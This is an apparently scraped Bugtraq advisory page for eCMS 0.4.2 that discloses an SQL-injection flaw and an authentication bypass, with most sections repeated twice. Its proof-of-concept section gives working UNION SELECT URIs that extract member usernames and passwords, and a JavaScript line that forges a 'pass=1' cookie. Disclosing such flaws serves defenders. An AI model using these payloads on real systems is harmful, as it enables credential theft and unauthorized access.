eCMS Multiple Security Vulnerabilities
BID:29304
Info
eCMS Multiple Security Vulnerabilities
| Bugtraq ID: | 29304 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 20 2008 12:00AM |
| Updated: | May 22 2008 02:04AM |
| Credit: | virangar security team(hadihadi) |
| Vulnerable: |
eCMS eCMS 0.4.2 |
| Not Vulnerable: | |
Discussion
eCMS Multiple Security Vulnerabilities
eCMS is prone to multiple security vulnerabilities, including a security-bypass issue and an SQL-injection issue.
Exploiting these issues may allow an attacker to bypass certain security restrictions and gain unauthorized access to the application. The attacker can also exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This will compromise the application and may aid in further attacks.
These issues affect eCMS 0.4.2; other versions may also be affected.
eCMS is prone to multiple security vulnerabilities, including a security-bypass issue and an SQL-injection issue.
Exploiting these issues may allow an attacker to bypass certain security restrictions and gain unauthorized access to the application. The attacker can also exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This will compromise the application and may aid in further attacks.
These issues affect eCMS 0.4.2; other versions may also be affected.
Exploit / POC
eCMS Multiple Security Vulnerabilities
The following URIs are available to demonstrate the SQL-injection issue:
http://www.example.com/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/**/where/**/id=1/*
http://www.example.com/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/*
The following proof-of-concept JavaScript code to create a cookie is available for the security-bypass issue:
javascript:document.cookie = "pass=1; path=/";
The following URIs are available to demonstrate the SQL-injection issue:
http://www.example.com/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/**/where/**/id=1/*
http://www.example.com/index.php?p='/**/union/**/select/**/1,concat(username,0x3a,char(58),password),3,4,5,6/**/from/**/members/*
The following proof-of-concept JavaScript code to create a cookie is available for the security-bypass issue:
javascript:document.cookie = "pass=1; path=/";
Solution / Fix
eCMS Multiple Security Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
eCMS Multiple Security Vulnerabilities
References:
References: